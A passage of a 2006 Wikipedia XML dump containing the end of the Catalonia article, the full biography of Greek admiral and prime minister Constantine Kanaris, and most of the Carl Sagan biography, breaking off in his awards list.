'''Mountains:'''
* Catalan [[Pyrenees]]: [[Val d'Aran]] in the north face, Pica d'Estats 3141 m., Puigmal 2911 m., [[Cerdagne]] depression, Perthus pass (near the ancient [[Roman empire|Roman]] road).
* Catalan Litoral mountains: Montseny, [[Montserrat (mountain)|Montserrat]], Montsant.
* Iberic system: Maestrat.
[[Image:Catalonia Foix river dam.jpg|thumbnail|right|Foix river]]

'''Major rivers:'''
*[[Fluvià]]
*[[Ter River|Ter]]
*[[Llobregat]]
*[[Foix]]
*[[Francolí]]
*[[Gaià]]
*[[Ebre]] and its tributaries: [[Noguera]], [[River Segre|Segre]], [[Valira]].

==Environmental Policy==
Awareness of environmental problems tends to be much lower in Catalonia (and in Spain as a whole) than in northern Europe. CO&lt;sub&gt;2&lt;/sub&gt; emissions in Catalonia have increased by 40% since 1992 and 60% of the region's electricity comes from aging nuclear power stations (a figure exceeded in Europe only by France and [[Lithuania]]). Despite Catalonia's change of government in 2004 from a conservative CiU/PP alliance to a &quot;red/green&quot; tripartite coalition of PSC, ERC, and ICV parties, there is little evidence of greater concern for the environment. The ICV was put in charge of the Ministry of the Environment but has largely continued the outgoing administration's environmentally-unfriendly policies. The Ministry's decision to build the controversial Bracons tunnel through an area of outstanding natural beauty, and a scheme to site an incinerator burning 90,000 metric tonnes of industrial waste [http://www.valldelges.net/en] in a heavily-populated valley are just two cases in point. Although Catalonia participates in many international environmental forums, the political will to pursue &quot;green&quot; polices is generally lacking. This may be explained by the greater acceptance of political corruption found in southern Europe, the fragility of public institutions, and a lack of genuine commitment to grass-roots democracy.

==UNESCO World Heritage Sites in Catalonia==
There are several [[UNESCO]] [[World Heritage Sites]] in Catalonia:

*[[Sagrada Familia]], Barcelona
*&quot;[[La Patum]]&quot; of [[Berga]] (2005)
*Archaeological Ensemble of Tarraco, [[Tarragona]]
*Catalan [[Romanesque]] Churches of the [[Vall de Boí]]
*[[Park Guell|Parc Güell]], [[Barcelona]]
*[[Palau Güell]], [[Barcelona]]
*[[Casa Milà]], [[Barcelona]]
*[[Poblet Monastery]], Poblet, Tarragona province
*[[Palau de la Música Catalana]], [[Barcelona]]
*[[Hospital de Sant Pau]], [[Barcelona]]

==See also==
{{Commons|Catalonia}}
* [[.cat]]
* [[Barcelona]]
* [[Catalan Countries]]
* [[Cuisine of Catalonia]]
* [[Education in Catalonia]]
* [[Famous Catalan People]]
* [[Flags of non-sovereign nations]]
* [[History of Catalonia]]
* [[Principality of Catalonia]]
* [[Catalan constitutions]]
* [[Catalan nationalism]]
* [[Catalan independentism]]

==External links==
*[http://www.cbrava.com/cathist.uk.htm Key dates in Catalan history]
*[http://www10.gencat.net/gencat/AppJava/en/catalunya/laclau/english/index.jsp The key to Catalonia]: Site of the Generalitat de Catalunya 
*[http://www.idescat.es/idescat_ang.htm Statistical information from Idescat (Catalan Institute of Statistics)]
*[http://www.topbarcos.com/puertos-deportivos/listado-puertos/cataluna Ports in Catalonia]
*[http://www.lodgephoto.com/galleries/spain/ Photographs of Catalonia including Barcelona, Girona, Besalu] and surrounding countryside
*[http://www.cataloniapyrenees.com/ Catalan Pyrenees Guide]
*[http://flickr.com/groups/catalunya/ Catalunya images at flickr.com]
*[http://www.catalanencyclopaedia.com/ Catalan Hyperencyclopaedia]: Encyclopaedia with information about Catalonia in English
* [http://www.iberianature.com/material/wild_nature_sites/catalonia/catalonia_nature.htm A guide to the natural history of Catalonia]
* News media in English
**[http://www.barcelonareporter.com/ Barcelona Reporter]: news and views from the Catalan capital
**[http://www.cataloniatoday.info/ Catalonia Today] - Catalan newspaper in English
**[http://www.diaridecatalunya.com/ Catalan news] - Local electronic newspaper
{{Spain}}
{{Comarques of Catalonia}}

[[Category:Catalonia]]
[[Category:Catalan Countries]]
[[Category:Autonomous communities of Spain]]
[[Category:NUTS 2 Statistical Regions of Europe]]
[[Category:European countries]]

{{Link FA|ca}}

[[ar:منطقة كاتالونيا الذاتية الحكم]]
[[an:Cataluña]]
[[ast:Cataluña]]
[[zh-min-nan:Catalunya]]
[[ca:Comunitat autònoma de Catalunya]]
[[cs:Katalánsko]]
[[cy:Catalonia]]
[[da:Catalonien]]
[[de:Katalonien]]
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[[es:Cataluña]]
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[[fa:کاتالونی]]
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[[ga:An Chatalóin]]
[[gl:Cataluña]]
[[ko:카탈루냐 지방]]
[[it:Catalogna]]
[[he:קטלוניה]]
[[ka:კატალონია]]
[[kw:Kataloni]]
[[la:Catalonia]]
[[lt:Katalonija]]
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[[ru:Каталония]]
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[[zh:加泰罗尼亚]]</text>
    </revision>
  </page>
  <page>
    <title>Constantine Kanaris</title>
    <id>6823</id>
    <revision>
      <id>40582368</id>
      <timestamp>2006-02-21T16:39:23Z</timestamp>
      <contributor>
        <username>Michalis Famelis</username>
        <id>315151</id>
      </contributor>
      <comment>/* Military career */ fixed wikilinks</comment>
      <text xml:space="preserve">[[Image:Konstantinos Kanaris.JPG|right|thumb|250px|Konstantinos Kanaris (1790-1877) [[Athens]], National Historical Museum]]

'''Constantine Kanaris''' (''or Canaris'', [[Greek language|Greek]]: '''Κωνσταντίνος Κανάρης''') ([[1793]] or [[1795]] &amp;ndash; [[September 2]], [[1877]]) was a [[Greece|Greek]] admiral, freedom fighter and politician. 

==Family life==

He was born on the [[Aegean Sea]] island of [[Psara]] as a son of Michael and Maria Kanaris. His exact year of birth is unknown. The official records of the [[Hellenic Navy]] give it as [[1795]] but modern Greek historians believe that [[1793]] is more probable. Michael Kanaris, his father, had served several terms as the island's Elder.  Constantine was left an orphan at a young age. Having to support himself he chose to became a seaman, like most members of his family since the beginning of the [[18th century]]. He was hired as a boy in the brig of his uncle Dimitris Bourekas. Over time he gained prominence in the island's society. In [[1817]] this was signified by his marriage to Despoina Maniatis, a member of one of the island's more affluent families. They would have seven children in all:
*[[Nicholas Kanaris]], ([[1818]]&amp;ndash;[[1848]]).
*[[Themistocles Kanaris]], ([[1819]]&amp;ndash;[[1851]]).
*[[Miltiades Kanaris]], ([[1822]]&amp;ndash;[[1899]]) - Admiral, member of the Greek Parliament, and government minister.
*[[Lycurgus Kanaris]], ([[1826]]&amp;ndash;[[1865]]) - Lawyer.
*[[Maria Kanari]], ([[1828]]&amp;ndash;[[1847]]).
*[[Aristides Kanaris]], ([[1831]]&amp;ndash;[[1863]]) - Navy officer.
*[[Thrasybulos Kanaris]], ([[1834]]&amp;ndash;[[1898]]) - Admiral.
[[Image:Konstantinos Kanaris.jpg|right|thumb|250px|Constantine Kanaris]]
==Military career==

Constantine gained his fame during the [[Greek War of Independence]] ([[1821]]&amp;ndash;[[1829]]). Unlike most other prominent figures of the War, he had never been initiated in the [[Filiki Eteria]] (Friendly Society). The Friendly Society, founded at [[September 14]], [[1814]] in [[Odessa]] by three traders, was mainly responsible for planning the revolution against the [[Ottoman Empire]] and recruiting supporters for it. Its founders being members of the [[Freemasonry]], they had adopted their methods of initiation, organising and assuring secrecy from it. By early [[1821]], it had gained enough support to declare a revolution. This declaration seems to have surprised Constantine, who was absent at Odessa. He returned to [[Psara]] in haste and was there when the island joined the Revolution on [[April 10]], [[1821]].

The island formed its own fleet of ships and the famed seamen of Psara, already known for their successful naval combats against pirates and their well-equipped ships, proved to be effective at full naval war. Constantine soon distinguished himself as a fire ship captain.  Notably at [[Chios]], where on the night of  [[June 6]]/[[June 7]], [[1822]] forces under his command destroyed the flagship of the Turkish admiral [[Pasha Kara-Ali]] in revenge for the [[Chios Massacre]]. The admiral was holding a celebration, while Kanaris and his men managed to place a fire ship next to it. When the flagships' powder keg caught fire, all men aboard were instantly killed. The Ottoman casualties consisted of 2000 men, both naval officers and common sailors, as well as Kara-Ali himself. Constantine led three further successful attacks against the Turkish fleet in [[1822]]-[[1824]]. But during this last year, the fate of both Kanaris and his island took a turn for the worst.
[[Image:Konstantinos Kanaris photograph.JPG|right|thumb|250px|Konstantinos Kanaris (1790-1877)Athens, [[Photographic Archive]] of [[Hellenic]] Literary and Historical Museum]]

[[Egypt]] was namely a province of the [[Ottoman Empire]] at the time but its  viceroy [[Mehemet Ali (Egypt)|Mohammad Ali]] ([[1769]]&amp;ndash;[[1849]]), had earned enough power to act independently from the Sultan and had formed his own army and naval fleet. It was headed by his adoptive son [[Ibrahim Pasha]] ([[1789]]&amp;ndash;[[1848]]). The later had hired a number of veteran French officers - who had served under Emperor [[Napoleon I of France]] and were discharged from the French army following his defeat - to help organise the new army. By [[1824]] it counted 100,000 men and was both better organised and better equipped than the Sultan's army.  Sultan [[Mahmud II]] offered to the viceroy the command of [[Crete]], if he agreed to send part of this army against the Greeks. They quickly reached an agreement. The Egyptian army, under the personal command of Ibrahim Pasha, started a successful campaign in both land and sea against the relatively ill-equipped, disorganized and outnumbered Greeks. Among other victories, the Egyptian fleet managed to capture Psara on [[June 21]], [[1824]]. A part of the population managed to flee the island, but those who didn't were either sold into slavery or slaughtered. The island was deserted and surviving islanders were scattered through what is now Southern Greece.

After the destruction of his home island, Constantine continued to lead his men into attacks with minor successes. Despite them, Ibrahim Pasha would be virtually undefeated until the [[Battle of Navarino]] of [[October 20]], [[1827]]. Then the Egyptian fleet was destroyed by the combined naval forces of [[United Kingdom|Britain]], [[France]] and [[Russia]], that had taken the Greeks under their &quot;protection&quot;.

Following the end of the War and the independence of Greece, Constantine became an officer of the new Greek Navy reaching the rank of Admiral and later a politician.

==Political career==

Kanaris served as Minister in various governments and then as [[Prime Minister of Greece|Prime Minister]] from [[March 11]]- [[April 11]], [[1844]]. He served a second term ([[October 27]], [[1848]] &amp;ndash; [[December 24]], [[1849]]) and a third ([[May 28]], [[1854]] &amp;ndash; [[July 29]], [[1854]]). In [[1862]] he was one of the few War of Independence veterans that helped in the bloodless revolution that deposed King [[Otto of Greece]] and put Prince William of Denmark on the Greek throne as King [[George I of Greece]]. Under George I, he served as a prime minister for a fourth term ([[March 17]] &amp;ndash; [[April 28]], [[1864]]), fifth term ([[August 7]], [[1864]] &amp;ndash; [[February 9]], [[1865]]) and sixth and last term ([[June 7]] &amp;ndash; [[September 2]], [[1877]]). Following his death his government remained in power until [[September 14]], [[1877]] without agreeing on a replacement at its head. He was buried in the First Cemetery of Athens, where most Greek prime ministers and celebrated figures are also buried. After his death he was honored as a national hero.

He is thought to be distantly related to [[Wilhelm Canaris]], head of the German [[Abwehr]] during [[World War II]], but the exact genealogical connection remains uncertain.

To honour Kanaris Hellenic Navy gave his name in [[18 December]] [[1941]] in Hunt III type destroyer the Kanaris L51 former [[HMS Hatherleigh]] transfered to Greece from Royal Navy, in [[1 July]] [[1972]] in a destroyer the [[USS Stickell_(DD-888)#HNS_Kanaris_(D-212)|HNS Kanaris (D 212)]] former [[USS Stickell (DD-888)]] and in [[29 November]] [[2002]] in a frigate [http://www.hellenicnavy.gr/frigates_s_en.asp FFG Kanaris (F 464)] a [[F-450 Elli|Elli (F 450)]] class frigate.

==External links==
*[http://www.nostos.com/greekrev/ Listed among other major figures of the Greek War of Independence]
*[http://www.grandlodge.gr/history.html The History of the Grand Lodge of Greece explains the origins of Philiki Etairia]
*[http://www.horus.ics.org.eg/html/modern_egypt_under_mohammad_ali.html Short profile of Mohammad Ali, Viceroy of Egypt]
*[http://www.osmanli700.gen.tr/english/individuals/i4.html Short profile of Ibrahim Pasha]

{{start box}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Andreas Metaxas]]|after=[[Alexandros Mavrokordatos]]|years=[[March 11]] [[1844]] - [[April 11]] [[1844]]}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Georgios Kountouriotis]]|after=[[Antonios Kriezis]]|years=[[October 27]] [[1848]] - [[December 24]] [[1849]]}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Antonios Kriezis]]|after=[[Alexandros Mavrokordatos]]|years=[[May 28]] [[1854]] - [[July 29]] [[1854]]}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Dimitrios Voulgaris]]|after=[[Zinovios Valvis]]|years=[[March 17]] [[1864]] - [[April 28]] [[1864]]}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Zinovios Valvis]]|after=[[Benizelos Rouphos]]|years=[[August 7]] [[1864]] - [[February 9]] [[1865]]}}
{{succession box|title=[[Prime Minister of Greece]]|before=[[Alexandros Koumoundouros]]|after=[[Alexandros Koumoundouros]]|years=[[June 7]] [[1877]] - [[September 14]] [[1877]]}}
{{end box}}

[[Category:Greek War of Independence|Kanaris, Constantine]]
[[Category:Admirals|Kanaris, Constantine]]
[[Category:Prime Ministers of Greece|Kanaris, Constantine]]
[[Category:1795 births|Kanaris, Constantine]]
[[Category:1877 deaths|Kanaris, Constantine]]

[[el:Κωνσταντίνος Κανάρης]]
[[es: Konstantinos Kanaris]]
[[de:Konstantinos Kanaris]]
[[fr: Constantin Kanaris]]</text>
    </revision>
  </page>
  <page>
    <title>Carl Sagan</title>
    <id>6824</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42153705</id>
      <timestamp>2006-03-04T04:19:34Z</timestamp>
      <contributor>
        <username>Sir Paul</username>
        <id>9449</id>
      </contributor>
      <comment>/* Popularization of science */</comment>
      <text xml:space="preserve">'''Dr Carl Edward Sagan''' ([[November 9]] [[1934]] – [[December 20]] [[1996]]) was an [[United States|American]] [[astronomer]], astrobiologist and highly successful science popularizer. He pioneered [[Astrobiology|exobiology]] and promoted the Search for ExtraTerrestrial Intelligence ([[SETI]]). He is world-famous for his [[popular science]] books and the award-winning television series [[Cosmos: A Personal Voyage|''Cosmos'']], which he co-wrote and presented and eventually released as a [[Cosmos_(book)|book]]. He also wrote the novel [[Contact (novel)|''Contact'']], upon which the 1997 [[Contact (film)|film of the same name]] starring [[Jodie Foster]] was based. In his works, he frequently advocated the [[scientific method]].

==Education and scientific career==
Carl Sagan was born in [[Brooklyn, New York|Brooklyn]], [[New York]]{{ref|biographical}}. His parents were [[Jewish]]; his father, Sam Sagan, was a garment worker and his mother, Rachel Molly Gruber, was a housewife. Sagan attended the [[University of Chicago]], where he received a bachelor's degree (1955) and a master's degree (1956) in physics, before earning his doctorate (1960) in astronomy and astrophysics. During his time as an undergraduate, Sagan spent some time working in the laboratory of the geneticist [[Hermann Joseph Muller|H. J. Muller]]{{ref label|biographical|1|a}}.

In the early 1960s, no one knew for certain even the basic conditions of the surface of the planet Venus. He listed the contending possibilities in a report (which were later depicted for popularization in a Time-Life book, ''Planets''). His own view was that the planet was dry and very hot. As a visiting scientist to [[Caltech]]'s [[Jet Propulsion Laboratory]], he contributed to the first Mariner missions to the planet Venus in the design and management of the project, which confirmed his views with the success of [[Mariner 2]] in [[1962]]. 

Sagan taught at [[Harvard University]] until 1968, when he moved to [[Cornell University]]. He became a full professor at Cornell in 1971 and directed a lab there. He contributed to most of the [[unmanned space missions]] that explored our [[solar system]]. He conceived the idea of adding an unalterable and universal message on spacecraft, destined to leave the [[solar system]], that could be understood by any extraterrestrial intelligence that might find it. The first message that was actually sent into space was a gold-anodized [[Pioneer plaque|plaque]], attached to the space probe [[Pioneer 10]]. He continued to refine his designs and the most elaborate such message he helped to develop was the [[Voyager Golden Record]] that was sent out with the [[Voyager_program|Voyager]] space probes.

==Scientific achievements==
Sagan was among the first to hypothesize that Saturn's moon [[Titan (moon)|Titan]]{{ref|science}} and Jupiter's moon [[Europa (moon)|Europa]] may possess oceans (a subsurface ocean, in the case of Europa) or lakes, thus making the hypothesized water ocean on Europa potentially habitable for [[life]]. Europa's subsurface ocean was later indirectly confirmed by the spacecraft [[Galileo probe|Galileo]].

He furthered insights regarding the atmosphere of [[Jupiter(planet)|Jupiter]], seasonal changes on [[Mars (planet)|Mars]], and Saturn's moon [[Titan (moon)|Titan]]. Sagan established that the atmosphere of Venus is extremely hot and dense. He also perceived [[global warming]] as a growing, man-made danger and likened it to the natural development of [[Venus (planet)|Venus]] into a hot life-hostile planet through [[greenhouse gas]]es. He suggested that the seasonal changes on Mars were due to windblown dust, not to vegetation changes, as others had proposed

==Scientific advocacy==
[[Image:Planetary society.jpg|thumb|left|300px|Planetary Society members at the organization's founding.  Carl Sagan seated, right]]

Sagan was a proponent of the search for extraterrestrial life. He urged the scientific community to listen with large radio telescopes for signals from intelligent extraterrestrial lifeforms. He advocated sending probes to other planets. Sagan was Editor in Chief of [[Icarus (journal)|''Icarus'']] (a professional journal concerning planetary research) for 12 years. He cofounded the ''[[Planetary Society]]'' and was a member of the [[SETI Institute]] Board of Trustees.

He was well known as a coauthor of the scientific paper that predicted [[nuclear winter]]{{ref|nuclearwinter}} would follow [[Nuclear warfare|nuclear war]]. Sagan famously predicted that smoky oil fires in Kuwait (set by Saddam Hussein's army) would cause an ecological disaster of black clouds. Retired atmospheric physicist, [[Fred Singer]], dismissed Sagan's prediction as nonsense, predicting that the smoke would dissipate in a matter of days. In his book ''[[The Demon-Haunted World]]'', Sagan gave a list of errors he had made (including his predictions about the effects of the Kuwaiti oil fires) as an example of how science is tentative.

Sagan is also known for being involved as a researcher in [[Project A119]], a secret [[United States Air Force|US Air Force]] operation whose purpose was to drop a bomb on Earth's [[Moon]].

==Social concerns==
Sagan believed that the [[Drake equation]] suggested that a large number of extraterrestrial civilizations would form, but that the lack of evidence of such civilizations (the [[Fermi paradox]]) suggests that technological civilizations tend to destroy themselves rather quickly. This stimulated his interest in identifying and publicizing ways that humanity could destroy itself, with the hope of avoiding such destruction and eventually becoming a space-faring species.

Sagan became more politically active after marrying fellow scientist [[Ann Druyan]], performing acts of [[civil disobedience]] at [[Nuclear weapon|nuclear weapons]] sites during the [[Nuclear freeze]] era. He spoke out against President [[Ronald_Reagan|Ronald Reagan]]'s [[Strategic_Defense_Initiative|Strategic Defense Initiative]], or the &quot;Star Wars&quot; program, which he felt was technically impossible to build and perfect, far more expensive to create than for an enemy to defeat through decoys and other means, and destabilizing to Cold War nuclear weapons disarmament progress.

Carl Sagan was an avid user of [[Cannabis (drug)|marijuana]], although he never publicly admitted it during his life. Under the [[pseudonym]] &quot;Mr. X,&quot; he wrote an essay concerning cannabis smoking in the 1971 book ''Marihuana Reconsidered''&lt;!-- That's the spelling (with an &quot;H&quot;) used by the US version of Amazon, BTW --&gt;, whose editor was [[Lester Grinspoon]]{{ref|marijuana}}. In his essay, Sagan commented that marijuana encouraged some of his works and enhanced experiences{{ref label|marijuana|4|a}}.  After Sagan's death, Grinspoon disclosed this to Sagan's biographer, Keay Davidson{{ref|Davidson}}. When the biography, entitled ''Carl Sagan: A Life'', was published in 1999, the marijuana exposure stirred some media attention{{ref|drugnews}}.

==Popularization of science==
[[Image:Sagan Viking.jpg|thumb|250px|right|Sagan with a model of the [[Viking Lander]] probes which would land on [[Mars (planet)|Mars]].]]

Sagan's capability to convey his ideas allowed many people to better understand the cosmos. He delivered the 1977/1978 [[Royal Institution Christmas Lectures|Christmas Lectures for Young People]] at the [[Royal Institution]]. He narrated and, with Ann Druyan, co-wrote and co-produced the highly popular thirteen part [[PBS]] television series: [[Cosmos: A Personal Voyage|''Cosmos: A Personal Voyage'']] (modeled on [[Jacob Bronowski]]'s ''[[The Ascent of Man]]'')

''Cosmos'' covered a wide range of scientific subjects including the origin of life and a perspective of our place in the universe. The series was first broadcast by the [[Public Broadcasting Service]] in [[1980]]. It won an [[Emmy Award|Emmy]] and a [[Peabody Award]]; according to the [[NASA]] Office of Space Science, it has been since broadcast in 60 countries and seen by more than 600 million people.
 
Sagan also wrote books to popularize science, such as ''Cosmos'', which reflected and expanded upon some of the themes of ''A Personal Voyage'', ''[[The Dragons of Eden|The Dragons of Eden: Speculations on the Evolution of Human Intelligence]]'', which won a [[Pulitzer Prize]], and ''[[Broca's Brain: Reflections on the Romance of Science]]''. Sagan also wrote the best-selling [[science fiction]] novel [[Contact (novel)|''Contact'']], but never lived to see the book's 1997 [[Contact (film)|motion picture adaptation]], which starred [[Jodie Foster]] and won the 1998 [[Hugo Award]].

From ''Cosmos'' and his frequent appearances on ''[[The Tonight Show]]'', Sagan became associated with the [[catch phrase]], &quot;billions and billions.&quot; (He never actually used that phrase in ''Cosmos'', but his distinctive delivery and frequent use of ''billions'' made this a favorite phrase of [[Johnny Carson]] and others, doing the many affectionate impressions of him. Sagan took this in good humor, and his final book was entitled ''[[Billions and Billions: Thoughts on Life and Death at the End of the Millennium|Billions and Billions]]'' - see below.) The humorous unit of the [[Sagan]] has now been coined to stand for any count of at least 4,000,000,000.

He wrote a sequel to ''Cosmos'', [[Pale Blue Dot|''Pale Blue Dot: A Vision of the Human Future in Space'']], which was selected as a notable book of 1995 by ''[[The New York Times]]''. Carl Sagan also wrote an introduction for the bestselling book by [[Stephen Hawking]], ''[[A Brief History of Time]]''.

Sagan presents a speculation concerning the origin of the [[swastika]] symbol in his book, ''Comet''. Sagan hypothesized that a [[comet]] approached so close to Earth in antiquity that the jets of gas streaming out of it were visible, bent by the comet's rotation. The book ''Comet'' reproduces an ancient [[China|Chinese]] manuscript that shows comet tail varieties; most are variations on simple comet tails, but the last shows the comet nucleus with four bent arms extending from it, showing a swastika.

Sagan caused mixed reactions among other professional scientists. On the one hand, there was general support for his popularization of science, his efforts to increase scientific understanding among the general public, and his positions in favor of [[scientific skepticism]] and against [[pseudoscience]]; most notably his thorough [[Debunker|debunking]] of the book [[Worlds In Collision]] by [[Immanuel Velikovsky]]. On the other hand, there was some unease that the public would misunderstand some of the personal positions and interests that Sagan took as being part of the scientific consensus, rather than his own personal views, and there was some unease, which some believe to have been motivated in part by professional jealousy, that scientific views contrary to those that Sagan took (such as on the severity of [[nuclear winter]]) were not being sufficiently presented to the public.

Sagan's arguments against Velikovsky's catastrophism have been criticized by some of his colleagues. Dr. [[Robert Jastrow]] of NASA's Goddard Institute of Space Studies wrote: &quot;Professor Sagan's calculations, in effect, ignore the law of gravity. Here, Dr. Velikovsky was the better astronomer.&quot; His comments on the [[Kuwaiti oil fires|Kuwait oil well fires]] during the first Gulf War were shown later to be in error; Sagan himself acknowledged his error in print.

Late in his life, Sagan's books developed his skeptical, naturalistic view of the world. In ''[[The Demon-Haunted World|The Demon-Haunted World: Science as a Candle in the Dark]]'', he presented tools for testing arguments and detecting fallacious or fraudulent ones, essentially advocating wide use of the [[scientific method]]. The compilation, ''Billions and Billions: Thoughts on Life and Death at the End of the Millennium'', published after Sagan's death, contains essays written by Sagan, such as his views on [[abortion]], and Ann Druyan's account of his death as a non-believer.

==Personality==
In 1966, Sagan was asked to contribute an interview about the possibility of extraterrestrials to a proposed introduction to the film ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]''. According to an uncited anecdote in ''The Independent'', Sagan &quot;responded by saying that he wanted editorial control and a percentage of the film's takings, which was rejected.&quot;{{ref|2001ASO}} 

In [[1994]], [[Apple Computer]] began developing the [[Power Macintosh 7100]]. They chose the internal code name &quot;Carl Sagan,&quot; in honor of the astronomer{{ref|apple}}. Though the project name was strictly internal and never used in public marketing, when Sagan learned of this internal usage, he sued Apple Computer to use a different project name — other projects had names like &quot;[[Cold fusion]]&quot; and &quot;[[Piltdown Man]]&quot;, and he was displeased at being associated with what he considered [[pseudoscience]]. Though Sagan lost the suit, Apple engineers complied with his demands anyway, renaming the project &quot;BHA&quot; (Butthead Astronomer). Sagan sued Apple for libel over the new name, claiming that it subjected him to contempt and ridicule. Sagan lost this lawsuit as well; still, the 7100 saw another name change: it was lastly called &quot;LAW&quot; (Lawyers Are Wimps).

Sagan is regarded by most as an [[atheism|atheist]], [[agnosticism|agnostic]], or [[pantheist]] observing statements such as: &quot;The idea that [[God]] is an oversized white male with a flowing beard, who sits in the sky and tallies the fall of every sparrow is ludicrous. But if by 'God,' one means the set of [[physical laws]] that govern the universe, then clearly there is such a God. This God is emotionally unsatisfying... it does not make much sense to [[prayer|pray]] to the law of [[gravity]].&quot;{{ref|God}}

Sagan married three times; the famous biologist, [[Lynn Margulis]] (mother of [[Dorion Sagan]] and [[Jeremy Sagan]]) in 1957, artist [[Linda_Salzman_Sagan|Linda Salzman]] (mother of [[Nick Sagan]]) in 1968, and author [[Ann Druyan]] (mother of Sasha and Sam) in 1981, to whom he remained married until his death.

==Sagan and UFOs==

Sagan had some interest in [[UFO]] reports from at least 1964, when he had several conversations on the subject with [[Jacques Vallee]]. (Westrum, p37) Though quite skeptical of any extraordinary answer to the UFO question, Sagan thought that science should study the phenomenon, at least because there was widespread public interest in UFO reports. 

Dr. [[Stuart Appelle]] notes that Sagan &quot;wrote frequently on what he perceived as the [[logic]]al and [[empiricism|empirical]] [[fallacy|fallacies]] regarding UFOs and the [[abduction phenomenon|abduction experience]]. Sagan rejected an [[extraterrestrial hypothesis|extraterrestrial explanation]] for the phenomenon but felt there were both empirical and [[pedagogical]] benefits for examining UFO reports and that the subject was, therefore, a legitimate topic of study.&quot; (Appelle, p 22) 

In 1966, Sagan was a member of the Ad Hoc Committee to Review [[Project Blue Book]]. The committee concluded that the U.S. Air Force's [[Project Blue Book]] had been lacking as a scientific study, and recommended a university-based project to give the UFO phenomenon closer scientific scrutiny. The [[Condon Committee]] (1966-1968), lead by physicist Dr. [[Edward Condon]], and their still-controversial final report, formally concluded that there was nothing anomalous about UFO reports.

Dr. [[Ron Westrum]] writes that &quot;The high point of Sagan's treatment of the UFO question was the [[American Association for the Advancement of Science|AAAS]]'s symposium in [[1969]]. A wide range of educated opinions on the subject were offered by participants, including not only proponents as [[James E. McDonald|McDonald]] and [[J. Allen Hynek|Hynek]] but also skeptics like astronomers [[William Hartmann]] and [[Donald Menzel|Menzel]]. The roster of speakers was balanced, and it is to Sagan's credit that this event was presented in spite of pressure from [[Edward Condon]].&quot; (Westrum, pp. 37-38) With physicist [[Thornton Page]], Sagan edited the lectures and discussions given at the symposium; these were published in 1972 as ''UFO's: A Scientific Debate'' 

[[Jerome Clark]] writes that Sagan's perspective on UFO's irked Condon:  &quot;... though a skeptic, (Sagan) was too soft on UFOs for Condon's taste. In 1971, he considered blackballing Sagan from the prestigious [[Cosmos Club]]&quot;. (Clark, p. 603) 

Some of Sagan's many books examine UFOs (as did one episode of ''Cosmos'') and he recognized a [[religion|religious]] undercurrent to the phenomenon. However, Westrum writes that &quot;Sagan spent very little time researching UFOs ... he thought that little evidence existed to show that the UFO phenomenon represented alien spacecraft and that the motivation for interpreting UFO observations as spacecraft was emotional.&quot; (Westrum, 37)

It is sometimes noted that Sagan's generally hostile attitude to UFOs conflicted sharply with his views in a 1966 book he wrote with Russian astronomer and astrophysicist [[Iosif Samuilovich Shklovsky|I.S. Shklovskii]], ''Intelligent Life in the Universe''.  Here Sagan instead argued that technologically advanced alien civilizations were common and he considered it very probable that Earth had been visited many times in the past.

Yet only a few years later in ''UFO's: A Scientific Debate'', Sagan was now highly skeptical of interstellar visitation. As to the physical possibility of interstellar travel, Sagan brought up the proposed [[Bussard ramjet]] as an interstellar vehicle.  While not terribly practical, Sagan thought such proposed propulsion systems were nevertheless important because they demonstrated that there were conceivable ways of accomplishing interstellar travel &quot;without bumping into fundamental physical constraints.  And this suggests that it is premature to say that interstellar space flight is out of the question.&quot;  But to this Sagan added, &quot;I believe the numbers work out in such a way that UFO's as interstellar vehicles is extremely unlikely, but I think it is an equally bad mistake to say that interstellar space flight is impossible.&quot;  

Sagan was likewise inconsistent in his views on interstellar travel in his 1980 ''Cosmos'' series.  When scoffing at UFOs, he maintained that the distance between stars was too great to make interstellar travel feasible for aliens.  Yet in another episode, he said the stars would &quot;beckon&quot; to humanity, and then again described the Bussard ramjet as one way humans might do it.

==Legacy==
After a long and difficult fight with [[Myelodysplastic syndrome|myelodysplasia]], Sagan died at the age of 62, on [[December 20]] [[1996]], at the [[Fred Hutchinson Cancer Research Center]] in [[Seattle, Washington]]. Sagan was a significant figure, and his supporters credit his importance to his popularization of the natural sciences, opposing both restraints on science and reactionary applications of science, defending democratic traditions, resisting nationalism, defending [[humanism]], and arguing against geocentric and anthropocentric views.

The landing site of the unmanned [[Mars Pathfinder]] spacecraft was renamed the ''Carl Sagan Memorial Station'', in honor of Dr. Sagan on [[July 5]] [[1997]]. [[2709 Sagan|Asteroid 2709 Sagan]] is also named in his honor.

The 1997 movie, ''Contact'' (see above), based on Sagan's novel of the same name, and finished after his death, ends with the dedication &quot;For Carl.&quot;

In an episode of [[Star Trek: Enterprise]] entitled &quot;Terra Prime&quot;, a quick shot is shown of the relic rover [[Mars Pathfinder|Sojourner]], part of the Mars Pathfinder mission, placed by a historical marker at Carl Sagan Memorial Station on the Martian surface. The marker displays a quote from Sagan: &quot;Whatever the reason you're on Mars, I'm glad you're there, and I wish I was with you.&quot;

In 2004, the electronic music group Sagan released the CD/DVD &quot;Unseen Forces.&quot; The music was accompanied by a DVD which featured humorous music video format homages of many of the historical sketches from &quot;Cosmos.&quot;

==Awards and medals== 
* [[Apollo Achievement Award]] - [[NASA|National Aeronautics and Space Administration]]
* [[Chicken Little Award|Chicken Little]] Honorable Mention - 1991 - National Anxiety Center; a ''dubious achievement award'' from an organization which is skeptical about many pessimistic appraisals of the state of the environment
* Distinguished Public Service - National Aeronautics and Space Administration
* [[Emmy]] - Outstanding individual achievement - 1981 - PBS series ''Cosmos''
* Emmy - Outstanding Informational Series - 1981 - PBS series ''Cosmos''
* Exceptional Scientific Achievement Medal - National Aeronautics and Space Administration
* [[Helen Caldicott Leadership Award]] - Women's Action for Nuclear Disarmament
* [[Homer Award]] - 1997 - ''Contact''
* Hugo Award - 1981 - ''Cosmos''
* [[Humanist of the Year]] - 1981 - awarded by the [[American Humanist Association]]
* [[In Praise of Reason Award]] - 1987 - [[Committee for the Scientific Investigation of Claims of the Paranormal]]
* [[Isaac Asimov Award]] - 1994 - [[Committee for the Scientific Investigation of Claims of the Paranormal]]
* [[John F. Kennedy Astronautics Award]] - [[American Astronautical Society]]
* [[John W. Campbell Memorial Award]] - 1974 - ''[[The Cosmic Connection]]''
